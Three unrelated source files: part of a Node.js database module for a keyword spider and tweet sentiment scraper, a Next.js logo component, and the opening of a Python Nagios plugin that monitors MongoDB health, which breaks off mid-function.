module.exports.insertLink = insertLink;
function getSpideredLinks(callback) {
doQueryAndCallbackData('select * from spidered_links',callback);
}
module.exports.getSpideredLinks = getSpideredLinks;
function insertBodyText(id, html) {
var query = "insert into site_content(id,content) values(?,?)";
db.query(query,[id,html],function(err,row,fields){});
}
module.exports.insertBodyText = insertBodyText;
/*
Spider Settings querys
*/
function getKeywords(product_id, callback){
db.query("select keyword from keywords where product_id = ?",[product_id],function(err,rows,fields){
if(!err){
callback(rows);
}
});
}
module.exports.getKeywords = getKeywords;
function getAdditionalKeywords(product_id, callback){
db.query('select keyword from additional_keywords where product_id = ?',[product_id],function(err,rows,fields){
if(!err){
var kws = [];
for(var i = 0; i < rows.length; i++){
kws.push(rows[i].keyword);
}
callback(kws);
} else{
console.log(err);
}
})
}
module.exports.getAdditionalKeywords = getAdditionalKeywords;
function getSitesToIgnore(product_id,callback){
db.query("select site from sites_to_ignore where product_id = ?",[product_id],function(err,rows,fields){
if(!err){
callback(rows);
}
});
}
module.exports.getSitesToIgnore = getSitesToIgnore;
function insertNewTweet(tweet){
var query = "" +
"insert into scraped_tweets(text,user,date,mood_score,product_id) " +
" select ?,?,?,?,? " +
" from dual " +
" where not exists(" +
" select text, user, date " +
" from scraped_tweets " +
" where text = ? COLLATE utf8_unicode_ci)";
db.query(query,[tweet.text, tweet.user, tweet.date, tweet.mood,tweet.productId,tweet.text],function(err, row, fields){
if(err) console.log(err);
});
}
module.exports.insertNewTweet = insertNewTweet;
function getAllTweets(productId, callback){
var query = "select * from scraped_tweets where product_id = ?";
db.query(query,[productId],function(err,rows,fields){
if(err) console.log(err);
callback(rows);
});
}
module.exports.getAllTweets = getAllTweets;
//set tweet mood in db
function setTweetMood(id,mood){
var query = 'update scraped_tweets set mood_score = ? where id = ?';
db.query(query,[mood,id], function(err,row,fields){})
}
module.exports.setTweetMood = setTweetMood;
//set page mood in db
function setPageMood(id,mood){
var query = 'update spidered_links set mood_score = ? where id = ?';
db.query(query,[mood,id],function(err,rows,fields){});
}
module.exports.setPageMood = setPageMood;
//get page + text
function getPagesWithContent(productId,callback){
var query = 'select * from spidered_links sl join site_content sc on sl.id = sc.id where sc.content is not null and sl.product_id = ?';
doQueryAndCallbackData(query,[productId],callback);
}
module.exports.getPagesWithContent = getPagesWithContent;
//Google autocomplete query's
//insert new autocomplete result
function insertAutoCompleteResult(acRes){
var query = 'insert into autocom_results(content,mood_score,product_id) ' +
'select ?,?,? ' +
' from dual where not exists' +
' (select content ' +
' from autocom_results' +
' where content = ? COLLATE utf8_unicode_ci)';
db.query(query,[acRes.content,acRes.mood,acRes.productId,acRes.content],function(err,rows,fields){if(err)console.log(err);});
}
module.exports.insertAutoCompleteResult = insertAutoCompleteResult;
//get all data to recalculate what we have
function getAutoComMoodData(productId,callback){
var query = 'select * from autocom_results where product_id = ?';
doQueryAndCallbackData(query,[productId],callback);
}
module.exports.getAutoComMoodData = getAutoComMoodData;
//set mood
function setAutoComMood(acRes,mood){
var query = 'update autocom_results set mood_score = ? where id = ?';
db.query(query,[mood,acRes.id],function(err,rows,fields){if(err)console.log(err);});
}
module.exports.setAutoComMood = setAutoComMood;
|
import Link from 'next/link';
import styles from './Logo.module.css';
const Logo = () => {
return (
<Link href="/">
<a className={styles.container}>
<img src="/logo.svg" width="25" height="25" alt="GeoCode Routing API Logo" />
</a>
</Link>
);
};
export default Logo;
|
#!/usr/bin/python3
#
# A MongoDB Nagios check script
#
# Script idea taken from a Tag1 script I found and I modified it a lot
#
# Main Author
# - Mike Zupan <mike@zcentric.com>
# Contributers
# - Frank Brandewiede <brande@travel-iq.com> <brande@bfiw.de> <brande@novolab.de>
# - Sam Perman <sam@brightcove.com>
# - Shlomo Priymak <shlomoid@gmail.com>
# - @jhoff909 on github
# - @jbraeuer on github
# - Dag Stockstad <dag.stockstad@gmail.com>
# - @Andor on github
# - Steven Richards - Captainkrtek on github
# - Max Vernimmen - @mvernimmen-CG / @mvernimmen on github
# - Kris Nova - @kris@nivenly.com github.com/kris-nova
# - Jan Kantert - firstname@lastname.net
#
# USAGE
#
# See the README.md
#
from __future__ import print_function
from __future__ import division
import sys
import time
import optparse
import re
import os
import numbers
try:
import pymongo
except ImportError as e:
print(e)
sys.exit(2)
# As of pymongo v 1.9 the SON API is part of the BSON package, therefore attempt
# to import from there and fall back to pymongo in cases of older pymongo
if pymongo.version >= "1.9":
import bson.son as son
else:
import pymongo.son as son
#
# thanks to http://stackoverflow.com/a/1229667/72987
#
def optional_arg(arg_default):
def func(option, opt_str, value, parser):
if parser.rargs and not parser.rargs[0].startswith('-'):
val = parser.rargs[0]
parser.rargs.pop(0)
else:
val = arg_default
setattr(parser.values, option.dest, val)
return func
def performance_data(perf_data, params):
data = ''
if perf_data:
data = " |"
for p in params:
p += (None, None, None, None)
param, param_name, warning, critical = p[0:4]
data += "%s=%s" % (param_name, str(param))
if warning or critical:
warning = warning or 0
critical = critical or 0
data += ";%s;%s" % (warning, critical)
data += " "
return data
def numeric_type(param):
return param is None or isinstance(param, numbers.Real)
def check_levels(param, warning, critical, message, ok=[]):
if (numeric_type(critical) and numeric_type(warning)):
if param >= critical:
print("CRITICAL - " + message)
sys.exit(2)
elif param >= warning:
print("WARNING - " + message)
sys.exit(1)
else:
print("OK - " + message)
sys.exit(0)
else:
if param in critical:
print("CRITICAL - " + message)
sys.exit(2)
if param in warning:
print("WARNING - " + message)
sys.exit(1)
if param in ok:
print("OK - " + message)
sys.exit(0)
# unexpected param value
print("CRITICAL - Unexpected value : %d" % param + "; " + message)
return 2
def get_server_status(con):
try:
set_read_preference(con.admin)
data = con.admin.command(pymongo.son_manipulator.SON([('serverStatus', 1)]))
except:
data = con.admin.command(son.SON([('serverStatus', 1)]))
return data
def main(argv):
p = optparse.OptionParser(conflict_handler="resolve", description="This Nagios plugin checks the health of mongodb.")
p.add_option('-H', '--host', action='store', type='string', dest='host', default='127.0.0.1', help='The hostname you want to connect to')
p.add_option('-h', '--host-to-check', action='store', type='string', dest='host_to_check', default=None, help='The hostname you want to check (if this is different from the host you are connecting)')
p.add_option('-P', '--port', action='store', type='int', dest='port', default=27017, help='The port mongodb is running on')
p.add_option('--port-to-check', action='store', type='int', dest='port_to_check', default=None, help='The port you want to check (if this is different from the port you are connecting)')
p.add_option('-u', '--user', action='store', type='string', dest='user', default=None, help='The username you want to login as')
p.add_option('-p', '--pass', action='store', type='string', dest='passwd', default=None, help='The password you want to use for that user')
p.add_option('-W', '--warning', action='store', dest='warning', default=None, help='The warning threshold you want to set')
p.add_option('-C', '--critical', action='store', dest='critical', default=None, help='The critical threshold you want to set')
p.add_option('-A', '--action', action='store', type='choice', dest='action', default='connect', help='The action you want to take',
choices=['connect', 'connections', 'replication_lag', 'replication_lag_percent', 'replset_state', 'memory', 'memory_mapped', 'lock',
'flushing', 'last_flush_time', 'index_miss_ratio', 'databases', 'collections', 'database_size', 'database_indexes', 'collection_documents', 'collection_indexes', 'collection_size',
'collection_storageSize', 'queues', 'oplog', 'journal_commits_in_wl', 'write_data_files', 'journaled', 'opcounters', 'current_lock', 'replica_primary',
'page_faults', 'asserts', 'queries_per_second', 'page_faults', 'chunks_balance', 'connect_primary', 'collection_state', 'row_count', 'replset_quorum'])
p.add_option('--max-lag', action='store_true', dest='max_lag', default=False, help='Get max replication lag (for replication_lag action only)')
p.add_option('--mapped-memory', action='store_true', dest='mapped_memory', default=False, help='Get mapped memory instead of resident (if resident memory can not be read)')
p.add_option('-D', '--perf-data', action='store_true', dest='perf_data', default=False, help='Enable output of Nagios performance data')
p.add_option('-d', '--database', action='store', dest='database', default='admin', help='Specify the database to check')
p.add_option('--all-databases', action='store_true', dest='all_databases', default=False, help='Check all databases (action database_size)')
p.add_option('-s', '--ssl', dest='ssl', default=False, action='callback', callback=optional_arg(True), help='Connect using SSL')
p.add_option('-r', '--replicaset', dest='replicaset', default=None, action='callback', callback=optional_arg(True), help='Connect to replicaset')
p.add_option('-q', '--querytype', action='store', dest='query_type', default='query', help='The query type to check [query|insert|update|delete|getmore|command] from queries_per_second')
p.add_option('-c', '--collection', action='store', dest='collection', default='admin', help='Specify the collection to check')
p.add_option('-T', '--time', action='store', type='int', dest='sample_time', default=1, help='Time used to sample number of pages faults')
p.add_option('-M', '--mongoversion', action='store', type='choice', dest='mongo_version', default='2', help='The MongoDB version you are talking with, either 2 or 3',
choices=['2','3'])
p.add_option('-a', '--authdb', action='store', type='string', dest='authdb', default='admin', help='The database you want to authenticate against')
p.add_option('--insecure', action='store_true', dest='insecure', default=False, help="Don't verify SSL/TLS certificates")
p.add_option('--ssl-ca-cert-file', action='store', type='string', dest='ssl_ca_cert_file', default=None, help='Path to Certificate Authority file for SSL')
p.add_option('-f', '--ssl-cert-file', action='store', type='string', dest='cert_file', default=None, help='Path to PEM encoded key and cert for client authentication')
p.add_option('-m','--auth-mechanism', action='store', type='choice', dest='auth_mechanism', default=None, help='Auth mechanism used for auth with mongodb',
choices=['MONGODB-X509','SCRAM-SHA-256','SCRAM-SHA-1'])
options, arguments = p.parse_args()
host = options.host
host_to_check = options.host_to_check if options.host_to_check else options.host
port = options.port
port_to_check = options.port_to_check if options.port_to_check else options.port
user = options.user
passwd = options.passwd
authdb = options.authdb
query_type = options.query_type
collection = options.collection
sample_time = options.sample_time
if (options.action == 'replset_state'):
warning = str(options.warning or "")
critical = str(options.critical or "")
else:
warning = float(options.warning or 0)
critical = float(options.critical or 0)
action = options.action
perf_data = options.perf_data
max_lag = options.max_lag
mongo_version = options.mongo_version
database = options.database
ssl = options.ssl
replicaset = options.replicaset
insecure = options.insecure
ssl_ca_cert_file = options.ssl_ca_cert_file
cert_file = options.cert_file
auth_mechanism = options.auth_mechanism
if action == 'replica_primary' and replicaset is None:
return "replicaset must be passed in when using replica_primary check"
elif not action == 'replica_primary' and replicaset:
return "passing a replicaset while not checking replica_primary does not work"
#
# moving the login up here and passing in the connection
#
start = time.time()
err, con = mongo_connect(host, port, ssl, user, passwd, replicaset, authdb, insecure, ssl_ca_cert_file, cert_file)
if err != 0:
return err
# Autodetect mongo-version and force pymongo to let us know if it can connect or not.
err, mongo_version = check_version(con)
if err != 0:
return err
conn_time = time.time() - start
if action == "connections":
return check_connections(con, warning, critical, perf_data)
elif action == "replication_lag":
return check_rep_lag(con, host_to_check, port_to_check, warning, critical, False, perf_data, max_lag, user, passwd)
elif action == "replication_lag_percent":
return check_rep_lag(con, host_to_check, port_to_check, warning, critical, True, perf_data, max_lag, user, passwd, ssl, insecure, ssl_ca_cert_file, cert_file)
elif action == "replset_state":
return check_replset_state(con, perf_data, warning, critical)
elif action == "memory":
return check_memory(con, warning, critical, perf_data, options.mapped_memory, host)
elif action == "memory_mapped":
return check_memory_mapped(con, warning, critical, perf_data)
elif action == "queues":
return check_queues(con, warning, critical, perf_data)
elif action == "lock":
return check_lock(con, warning, critical, perf_data, mongo_version)
elif action == "current_lock":
return check_current_lock(con, host, port, warning, critical, perf_data)
elif action == "flushing":
return check_flushing(con, warning, critical, True, perf_data)
elif action == "last_flush_time":
return check_flushing(con, warning, critical, False, perf_data)
elif action == "index_miss_ratio":
index_miss_ratio(con, warning, critical, perf_data)
elif action == "databases":
return check_databases(con, warning, critical, perf_data)
elif action == "collections":
return check_collections(con, warning, critical, perf_data)
elif action == "oplog":
return check_oplog(con, warning, critical, perf_data)
elif action == "journal_commits_in_wl":
return check_journal_commits_in_wl(con, warning, critical, perf_data)
elif action == "database_size":
if options.all_databases:
return check_all_databases_size(con, warning, critical, perf_data)
else:
return check_database_size(con, database, warning, critical, perf_data)
elif action == "database_indexes":
return check_database_indexes(con, database, warning, critical, perf_data)
elif action == "collection_documents":
return check_collection_documents(con, database, collection, warning, critical, perf_data)
elif action == "collection_indexes":
return check_collection_indexes(con, database, collection, warning, critical, perf_data)
elif action == "collection_size":
return check_collection_size(con, database, collection, warning, critical, perf_data)
elif action == "collection_storageSize":
return check_collection_storageSize(con, database, collection, warning, critical, perf_data)
elif action == "journaled":
return check_journaled(con, warning, critical, perf_data)
elif action == "write_data_files":
return check_write_to_datafiles(con, warning, critical, perf_data)
elif action == "opcounters":
return check_opcounters(con, host, port, warning, critical, perf_data)
elif action == "asserts":
return check_asserts(con, host, port, warning, critical, perf_data)
elif action == "replica_primary":
return check_replica_primary(con, host, warning, critical, perf_data, replicaset, mongo_version)
elif action == "queries_per_second":
return check_queries_per_second(con, query_type, warning, critical, perf_data, mongo_version)
elif action == "page_faults":
check_page_faults(con, sample_time, warning, critical, perf_data)
elif action == "chunks_balance":
chunks_balance(con, database, collection, warning, critical)
elif action == "connect_primary":
return check_connect_primary(con, warning, critical, perf_data)
elif action == "collection_state":
return check_collection_state(con, database, collection)
elif action == "row_count":
return check_row_count(con, database, collection, warning, critical, perf_data)
elif action == "replset_quorum":
return check_replset_quorum(con, perf_data)
else:
return check_connect(host, port, warning, critical, perf_data, user, passwd, conn_time)
def mongo_connect(host=None, port=None, ssl=False, user=None, passwd=None, replica=None, authdb="admin", insecure=False, ssl_ca_cert_file=None, ssl_cert=None, auth_mechanism=None):
from pymongo.errors import ConnectionFailure
from pymongo.errors import PyMongoError
import ssl as SSL
con_args = dict()
if ssl:
if insecure:
con_args['ssl_cert_reqs'] = SSL.CERT_NONE
else:
con_args['ssl_cert_reqs'] = SSL.CERT_REQUIRED
con_args['ssl'] = ssl
if ssl_ca_cert_file:
con_args['ssl_ca_certs'] = ssl_ca_cert_file
if ssl_cert:
con_args['ssl_certfile'] = ssl_cert
try:
# ssl connection for pymongo > 2.3
if pymongo.version >= "2.3":
if replica is None:
con = pymongo.MongoClient(host, port, **con_args)
else:
con = pymongo.MongoClient(host, port, read_preference=pymongo.ReadPreference.SECONDARY, replicaSet=replica, **con_args)
else:
if replica is None:
con = pymongo.Connection(host, port, slave_okay=True, network_timeout=10)
else:
con = pymongo.Connection(host, port, slave_okay=True, network_timeout=10)
# we must authenticate the connection, otherwise we won't be able to perform certain operations
if ssl_cert and ssl_ca_cert_file and user and auth_mechanism == 'SCRAM-SHA-256':
con.the_database.authenticate(user, mechanism='SCRAM-SHA-256')
elif ssl_cert and ssl_ca_cert_file and user and auth_mechanism == 'SCRAM-SHA-1':
con.the_database.authenticate(user, mechanism='SCRAM-SHA-1')
elif ssl_cert and ssl_ca_cert_file and user and auth_mechanism == 'MONGODB-X509':
con.the_database.authenticate(user, mechanism='MONGODB-X509')
try:
result = con.admin.command("ismaster")
except ConnectionFailure:
print("CRITICAL - Connection to Mongo server on %s:%s has failed" % (host, port) )
sys.exit(2)
if 'arbiterOnly' in result and result['arbiterOnly'] == True:
print("OK - State: 7 (Arbiter on port %s)" % (port))
sys.exit(0)
if user and passwd:
db = con["admin"]
try:
db.authenticate(user, password=passwd)
except PyMongoError:
sys.exit("Username/Password incorrect")
# Ping to check that the server is responding.
con.admin.command("ping")
except Exception as e:
if isinstance(e, pymongo.errors.AutoReconnect) and str(e).find(" is an arbiter") != -1:
# We got a pymongo AutoReconnect exception that tells us we connected to an Arbiter Server
# This means: Arbiter is reachable and can answer requests/votes - this is all we need to know from an arbiter
print("OK - State: 7 (Arbiter)")
sys.exit(0)
return exit_with_general_critical(e), None
return 0, con
def exit_with_general_warning(e):
if isinstance(e, SystemExit):
return e
else:
print("WARNING - General MongoDB warning:", e)
return 1
def exit_with_general_critical(e):
if isinstance(e, SystemExit):
return e
else:
print("CRITICAL - General MongoDB Error:", e)
return 2
def set_read_preference(db):
if pymongo.version >= "2.2":
pymongo.read_preferences.Secondary
else:
db.read_preference = pymongo.ReadPreference.SECONDARY
def check_version(con):
try:
server_info = con.server_info()
except Exception as e:
return exit_with_general_critical(e), None
return 0, int(server_info['version'].split('.')[0].strip())
def check_connect(host, port, warning, critical, perf_data, user, passwd, conn_time):
warning = warning or 3
critical = critical or 6
message = "Connection took %.3f seconds" % conn_time
message += performance_data(perf_data, [(conn_time, "connection_time", warning, critical)])
return check_levels(conn_time, warning, critical, message)
def check_connections(con, warning, critical, perf_data):
warning = warning or 80
critical = critical or 95
try:
data = get_server_status(con)
current = float(data['connections']['current'])
available = float(data['connections']['available'])
used_percent = int(float(current / (available + current)) * 100)
message = "%i percent (%i of %i connections) used" % (used_percent, current, current + available)
message += performance_data(perf_data, [(used_percent, "used_percent", warning, critical),
(current, "current_connections"),
(available, "available_connections")])
return check_levels(used_percent, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_rep_lag(con, host, port, warning, critical, percent, perf_data, max_lag, user, passwd, ssl=None, insecure=None, ssl_ca_cert_file=None, cert_file=None):
# Get mongo to tell us replica set member name when connecting locally
if "127.0.0.1" == host:
if not "me" in list(con.admin.command("ismaster","1").keys()):
print("UNKNOWN - This is not replicated MongoDB")
return 3
host = con.admin.command("ismaster","1")["me"].split(':')[0]
if percent:
warning = warning or 50
critical = critical or 75
else:
warning = warning or 600
critical = critical or 3600
rs_status = {}
slaveDelays = {}
try:
#set_read_preference(con.admin)
# Get replica set status
try:
rs_status = con.admin.command("replSetGetStatus")
except pymongo.errors.OperationFailure as e:
if ((e.code == None and str(e).find('failed: not running with --replSet"')) or (e.code == 76 and str(e).find('not running with --replSet"'))):
print("UNKNOWN - Not running with replSet")
return 3
serverVersion = tuple(con.server_info()['version'].split('.'))
if serverVersion >= tuple("2.0.0".split(".")):
#
# check for version greater then 2.0
#
rs_conf = con.local.system.replset.find_one()
for member in rs_conf['members']:
if member.get('slaveDelay') is not None:
slaveDelays[member['host']] = member.get('slaveDelay')
else:
slaveDelays[member['host']] = 0
# Find the primary and/or the current node
primary_node = None
host_node = None
for member in rs_status["members"]:
if member["stateStr"] == "PRIMARY":
primary_node = member
if member.get('name') == "{0}:{1}".format(host, port):
host_node = member
# Check if we're in the middle of an election and don't have a primary
if primary_node is None:
print("WARNING - No primary defined. In an election?")
return 1
# Check if we failed to find the current host
# below should never happen
if host_node is None:
print("CRITICAL - Unable to find host '" + host + "' in replica set.")
return 2
# Is the specified host the primary?
if host_node["stateStr"] == "PRIMARY":
if max_lag == False:
print("OK - This is the primary.")
return 0
else:
#get the maximal replication lag
data = ""
maximal_lag = 0
for member in rs_status['members']:
if not member['stateStr'] == "ARBITER":
lastSlaveOpTime = member['optimeDate']
replicationLag = abs(primary_node["optimeDate"] - lastSlaveOpTime).seconds - slaveDelays[member['name']]
data = data + member['name'] + " lag=%d;" % replicationLag
maximal_lag = max(maximal_lag, replicationLag)
if percent:
err, con = mongo_connect(primary_node['name'].split(':')[0], int(primary_node['name'].split(':')[1]), False, user, passwd)
if err != 0:
return err
primary_timediff = replication_get_time_diff(con)
maximal_lag = int(float(maximal_lag) / float(primary_timediff) * 100)
message = "Maximal lag is " + str(maximal_lag) + " percents"
message += performance_data(perf_data, [(maximal_lag, "replication_lag_percent", warning, critical)])
else:
message = "Maximal lag is " + str(maximal_lag) + " seconds"
message += performance_data(perf_data, [(maximal_lag, "replication_lag", warning, critical)])
return check_levels(maximal_lag, warning, critical, message)
elif host_node["stateStr"] == "ARBITER":
print("UNKNOWN - This is an arbiter")
return 3
# Find the difference in optime between current node and PRIMARY
optime_lag = abs(primary_node["optimeDate"] - host_node["optimeDate"])
if host_node['name'] in slaveDelays:
slave_delay = slaveDelays[host_node['name']]
elif host_node['name'].endswith(':27017') and host_node['name'][:-len(":27017")] in slaveDelays:
slave_delay = slaveDelays[host_node['name'][:-len(":27017")]]
else:
raise Exception("Unable to determine slave delay for {0}".format(host_node['name']))
try: # work starting from python2.7
lag = optime_lag.total_seconds()
except:
lag = float(optime_lag.seconds + optime_lag.days * 24 * 3600)
if percent:
err, con = mongo_connect(primary_node['name'].split(':')[0], int(primary_node['name'].split(':')[1]), ssl, user, passwd, None, None, insecure, ssl_ca_cert_file, cert_file)
if err != 0:
return err
primary_timediff = replication_get_time_diff(con)
if primary_timediff != 0:
lag = int(float(lag) / float(primary_timediff) * 100)
else:
lag = 0
message = "Lag is " + str(lag) + " percents"
message += performance_data(perf_data, [(lag, "replication_lag_percent", warning, critical)])
else:
message = "Lag is " + str(lag) + " seconds"
message += performance_data(perf_data, [(lag, "replication_lag", warning, critical)])
return check_levels(lag, warning + slaveDelays[host_node['name']], critical + slaveDelays[host_node['name']], message)
else:
#
# less than 2.0 check
#
# Get replica set status
rs_status = con.admin.command("replSetGetStatus")
# Find the primary and/or the current node
primary_node = None
host_node = None
for member in rs_status["members"]:
if member["stateStr"] == "PRIMARY":
primary_node = (member["name"], member["optimeDate"])
if member["name"].split(":")[0].startswith(host):
host_node = member
# Check if we're in the middle of an election and don't have a primary
if primary_node is None:
print("WARNING - No primary defined. In an election?")
sys.exit(1)
# Is the specified host the primary?
if host_node["stateStr"] == "PRIMARY":
print("OK - This is the primary.")
sys.exit(0)
# Find the difference in optime between current node and PRIMARY
optime_lag = abs(primary_node[1] - host_node["optimeDate"])
lag = optime_lag.seconds
if percent:
err, con = mongo_connect(primary_node['name'].split(':')[0], int(primary_node['name'].split(':')[1]))
if err != 0:
return err
primary_timediff = replication_get_time_diff(con)
lag = int(float(lag) / float(primary_timediff) * 100)
message = "Lag is " + str(lag) + " percents"
message += performance_data(perf_data, [(lag, "replication_lag_percent", warning, critical)])
else:
message = "Lag is " + str(lag) + " seconds"
message += performance_data(perf_data, [(lag, "replication_lag", warning, critical)])
return check_levels(lag, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
#
# Check the memory usage of mongo. Alerting on this may be hard to get right
# because it'll try to get as much memory as it can. And that's probably
# a good thing.
#
def check_memory(con, warning, critical, perf_data, mapped_memory, host):
# Get the total system memory of this system (This is totally bogus if you
# are running this command remotely) and calculate based on that how much
# memory used by Mongodb is ok or not.
meminfo = open('/proc/meminfo').read()
matched = re.search(r'^MemTotal:\s+(\d+)', meminfo)
if matched:
mem_total_kB = int(matched.groups()[0])
if host != "127.0.0.1" and not warning:
# Running remotely and value was not set by user, use hardcoded value
warning = 12
else:
# running locally or user provided value
warning = warning or (mem_total_kB * 0.8) / 1024.0 / 1024.0
if host != "127.0.0.1" and not critical:
critical = 16
else:
critical = critical or (mem_total_kB * 0.9) / 1024.0 / 1024.0
# debugging
#print "mem total: {0}kb, warn: {1}GB, crit: {2}GB".format(mem_total_kB,warning, critical)
try:
data = get_server_status(con)
if not data['mem']['supported'] and not mapped_memory:
print("OK - Platform not supported for memory info")
return 0
#
# convert to gigs
#
message = "Memory Usage:"
try:
mem_resident = float(data['mem']['resident']) / 1024.0
message += " %.2fGB resident," % (mem_resident)
except:
mem_resident = 0
message += " resident unsupported,"
try:
mem_virtual = float(data['mem']['virtual']) / 1024.0
message += " %.2fGB virtual," % mem_virtual
except:
mem_virtual = 0
message += " virtual unsupported,"
try:
mem_mapped = float(data['mem']['mapped']) / 1024.0
message += " %.2fGB mapped," % mem_mapped
except:
mem_mapped = 0
message += " mapped unsupported,"
try:
mem_mapped_journal = float(data['mem']['mappedWithJournal']) / 1024.0
message += " %.2fGB mappedWithJournal" % mem_mapped_journal
except:
mem_mapped_journal = 0
message += performance_data(perf_data, [("%.2f" % mem_resident, "memory_usage", warning, critical),
("%.2f" % mem_mapped, "memory_mapped"), ("%.2f" % mem_virtual, "memory_virtual"), ("%.2f" % mem_mapped_journal, "mappedWithJournal")])
#added for unsupported systems like Solaris
if mapped_memory and mem_resident == 0:
return check_levels(mem_mapped, warning, critical, message)
else:
return check_levels(mem_resident, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_memory_mapped(con, warning, critical, perf_data):
#
# These thresholds are basically meaningless, and must be customized to your application
#
warning = warning or 8
critical = critical or 16
try:
data = get_server_status(con)
if not data['mem']['supported']:
print("OK - Platform not supported for memory info")
return 0
#
# convert to gigs
#
message = "Memory Usage:"
try:
mem_mapped = float(data['mem']['mapped']) / 1024.0
message += " %.2fGB mapped," % mem_mapped
except:
mem_mapped = -1
message += " mapped unsupported,"
try:
mem_mapped_journal = float(data['mem']['mappedWithJournal']) / 1024.0
message += " %.2fGB mappedWithJournal" % mem_mapped_journal
except:
mem_mapped_journal = 0
message += performance_data(perf_data, [("%.2f" % mem_mapped, "memory_mapped", warning, critical), ("%.2f" % mem_mapped_journal, "mappedWithJournal")])
if not mem_mapped == -1:
return check_levels(mem_mapped, warning, critical, message)
else:
print("OK - Server does not provide mem.mapped info")
return 0
except Exception as e:
return exit_with_general_critical(e)
#
# Return the percentage of the time there was a global Lock
#
def check_lock(con, warning, critical, perf_data, mongo_version):
warning = warning or 10
critical = critical or 30
if mongo_version == 2:
try:
data = get_server_status(con)
lockTime = data['globalLock']['lockTime']
totalTime = data['globalLock']['totalTime']
#
# calculate percentage
#
if lockTime > totalTime:
lock_percentage = 0.00
else:
lock_percentage = float(lockTime) / float(totalTime) * 100
message = "Lock Percentage: %.2f%%" % lock_percentage
message += performance_data(perf_data, [("%.2f" % lock_percentage, "lock_percentage", warning, critical)])
return check_levels(lock_percentage, warning, critical, message)
except Exception as e:
print("Couldn't get globalLock lockTime info from mongo, are you sure you're not using version 3? See the -M option.")
return exit_with_general_critical(e)
else:
print("OK - MongoDB version 3 doesn't report on global locks")
return 0
def check_flushing(con, warning, critical, avg, perf_data):
#
# These thresholds mean it's taking 5 seconds to perform a background flush to issue a warning
# and 10 seconds to issue a critical.
#
warning = warning or 5000
critical = critical or 15000
try:
data = get_server_status(con)
try:
data['backgroundFlushing']
if avg:
flush_time = float(data['backgroundFlushing']['average_ms'])
stat_type = "Average"
else:
flush_time = float(data['backgroundFlushing']['last_ms'])
stat_type = "Last"
message = "%s Flush Time: %.2fms" % (stat_type, flush_time)
message += performance_data(perf_data, [("%.2fms" % flush_time, "%s_flush_time" % stat_type.lower(), warning, critical)])
return check_levels(flush_time, warning, critical, message)
except Exception:
print("OK - flushing stats not available for this storage engine")
return 0
except Exception as e:
return exit_with_general_critical(e)
def index_miss_ratio(con, warning, critical, perf_data):
warning = warning or 10
critical = critical or 30
try:
data = get_server_status(con)
try:
data['indexCounters']
serverVersion = tuple(con.server_info()['version'].split('.'))
if serverVersion >= tuple("2.4.0".split(".")):
miss_ratio = float(data['indexCounters']['missRatio'])
else:
miss_ratio = float(data['indexCounters']['btree']['missRatio'])
except KeyError:
not_supported_msg = "not supported on this platform"
try:
data['indexCounters']
if 'note' in data['indexCounters']:
print("OK - MongoDB says: " + not_supported_msg)
return 0
else:
print("WARNING - Can't get counter from MongoDB")
return 1
except Exception:
print("OK - MongoDB says: " + not_supported_msg)
return 0
message = "Miss Ratio: %.2f" % miss_ratio
message += performance_data(perf_data, [("%.2f" % miss_ratio, "index_miss_ratio", warning, critical)])
return check_levels(miss_ratio, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_replset_quorum(con, perf_data):
db = con['admin']
warning = 1
critical = 2
primary = 0
try:
rs_members = db.command("replSetGetStatus")['members']
for member in rs_members:
if member['state'] == 1:
primary += 1
if primary == 1:
state = 0
message = "Cluster is quorate"
else:
state = 2
message = "Cluster is not quorate and cannot operate"
return check_levels(state, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_replset_state(con, perf_data, warning="", critical=""):
try:
warning = [int(x) for x in warning.split(",")]
except:
warning = [0, 3, 5]
try:
critical = [int(x) for x in critical.split(",")]
except:
critical = [8, 4, -1]
ok = list(range(-1, 8)) # should include the range of all posiible values
try:
worst_state = -2
message = ""
try:
try:
set_read_preference(con.admin)
data = con.admin.command(pymongo.son_manipulator.SON([('replSetGetStatus', 1)]))
except:
data = con.admin.command(son.SON([('replSetGetStatus', 1)]))
members = data['members']
my_state = int(data['myState'])
worst_state = my_state
for member in members:
their_state = int(member['state'])
message += " %s: %i (%s)" % (member['name'], their_state, state_text(their_state))
if state_is_worse(their_state, worst_state, warning, critical):
worst_state = their_state
message += performance_data(perf_data, [(my_state, "state")])
except pymongo.errors.OperationFailure as e:
if ((e.code == None and str(e).find('failed: not running with --replSet"')) or (e.code == 76 and str(e).find('not running with --replSet"'))):
worst_state = -1
return check_levels(worst_state, warning, critical, message, ok)
except Exception as e:
return exit_with_general_critical(e)
def state_is_worse(state, worst_state, warning, critical):
if worst_state in critical:
return False
if worst_state in warning:
return state in critical
return (state in warning) or (state in critical)
def state_text(state):
if state == 8:
return "Down"
elif state == 4:
return "Fatal error"
elif state == 0:
return "Starting up, phase1"
elif state == 3:
return "Recovering"
elif state == 5:
return "Starting up, phase2"
elif state == 1:
return "Primary"
elif state == 2:
return "Secondary"
elif state == 7:
return "Arbiter"
elif state == -1:
return "Not running with replSet"
else:
return "Unknown state"
def check_databases(con, warning, critical, perf_data=None):
try:
try:
set_read_preference(con.admin)
data = con.admin.command(pymongo.son_manipulator.SON([('listDatabases', 1)]))
except:
data = con.admin.command(son.SON([('listDatabases', 1)]))
count = len(data['databases'])
message = "Number of DBs: %.0f" % count
message += performance_data(perf_data, [(count, "databases", warning, critical, message)])
return check_levels(count, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_collections(con, warning, critical, perf_data=None):
try:
try:
set_read_preference(con.admin)
data = con.admin.command(pymongo.son_manipulator.SON([('listDatabases', 1)]))
except:
data = con.admin.command(son.SON([('listDatabases', 1)]))
count = 0
for db in data['databases']:
dbase = con[db['name']]
set_read_preference(dbase)
count += len(dbase.collection_names())
message = "Number of collections: %.0f" % count
message += performance_data(perf_data, [(count, "collections", warning, critical, message)])
return check_levels(count, warning, critical, message)
except Exception as e:
return exit_with_general_critical(e)
def check_all_databases_size(con, warning, critical, perf_data):
warning = warning or 100
critical = critical or 1000
try:
set_read_preference(con.admin)
all_dbs_data = con.admin.command(pymongo.son_manipulator.SON([('listDatabases', 1)]))
except:
all_dbs_data = con.admin.command(son.SON([('listDatabases', 1)]))
total_storage_size = 0
message = ""
perf_data_param = [()]
for db in all_dbs_data['databases']:
